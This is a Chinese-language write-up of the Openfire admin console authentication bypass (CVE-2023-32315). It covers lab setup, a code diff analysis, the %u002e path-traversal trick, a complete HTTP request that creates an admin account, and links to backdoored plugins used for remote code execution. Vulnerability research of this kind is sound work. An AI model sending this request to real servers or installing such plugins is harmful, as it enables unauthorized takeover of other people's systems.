CVE-2023-32315 Openfire 身份认证绕过漏洞
Openfire是免费的、开源的、基于可拓展通讯和表示协议(XMPP)、采用Java编程语言开发的实时协作服务器
Openfire的管理控制台是一个基于 Web 的应用程序,被发现可以使用路径遍历的方式绕过权限校验。成功利用后,未经身份验证的用户可以访问 Openfire 管理控制台中的后台页面。同时由于Openfire管理控制台的后台提供了安装插件的功能,所以攻击者可以通过安装恶意插件达成远程代码执行的效果
官方通告:https://github.com/igniterealtime/Openfire/security/advisories/GHSA-gw42-f939-fhvm
影响版本:
- 3.10.0 <= Openfire < 4.6.8
- 4.7.0 <= Openfire < 4.7.5
环境搭建
直接下载 openfire 4.7.4:https://github.com/igniterealtime/Openfire/releases/download/v4.7.4/openfire_4_7_4.tar.gz
然后解压,通过bin/openfire start
启动openfire
在logs/stdoutt.log
中可以看到管理平台端口是9090
接下来进行安装,默认设置即可,可以选择自带的数据库
然后设置管理员账号密码
安装成功后直接显示了当前版本
漏洞分析
对比最新版本和漏洞版本的代码区别:https://github.com/igniterealtime/Openfire/compare/v4.7.4...4.7
看到xmppserver/src/main/webapp/WEB-INF/web.xml
删除了setup/index.jsp
、setup/setup-*
两个路径,其实这个 AuthCheckFilter 就是它的一个鉴权机制,如果满足这些路径就可以跳过鉴权
xmppserver/src/main/java/org/jivesoftware/admin/AuthCheckFilter.java
在漏洞版本中,如果满足exclude.endsWith("*")
,同时url不包含..
或者%2e
,那么就返回true
而在修复版本中进行了URLDecoder,然后再判断是否存在..
看到这里如果返回为true的话,doExclude就会为true,绕过鉴权
在CVE-2021-34429中,Jetty 就有过使用%u002e
进行绕过,在Jetty9.4.37版本中,为了符合RFC3986中的规范,选择性地支持可能有歧义解释的URI,默认模式允许URL编码,这也导致我们可以使用UTF-16字符来绕过路径穿越的防护
Openfire默认下载的版本为jetty/9.4.43
看到org.eclipse.jetty.http.HttpURI#parse
先调用URIUtil.decodePath
进行URL解码,然后调用URIUtil.canonicalPath
进行规范化,即:
1 | /setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp |
成功绕过鉴权
漏洞利用
我们利用该漏洞创建一个新的管理员:
1 | GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=csrftoken&username=hackme&name=&email=&password=hackme&passwordConfirm=hackme&isadmin=on&create=Create+User HTTP/1.1 |
虽然这个请求的响应包中包含异常,但实际上新用户已经被创建,账号密码均为hackme
成功利用hackme登录后,我们可以安装插件实现rce,插件地址:https://github.com/tangxiaofeng7/CVE-2023-32315-Openfire-Bypass/releases/download/v0.1/org.jivesoftware.openfire.plugin.CVE-openfire-plugin-assembly.jar
使用默认密码123登录,成功执行命令
也可以使用p神给的插件:https://github.com/vulhub/openfire-fastpath-plugin,里面存在后门
参考:
https://github.com/vulhub/vulhub/blob/master/openfire/CVE-2023-32315/README.zh-cn.md
Eclipse Jetty WEB-INF敏感信息泄露漏洞分析(CVE-2021-28164/CVE-2021-34429)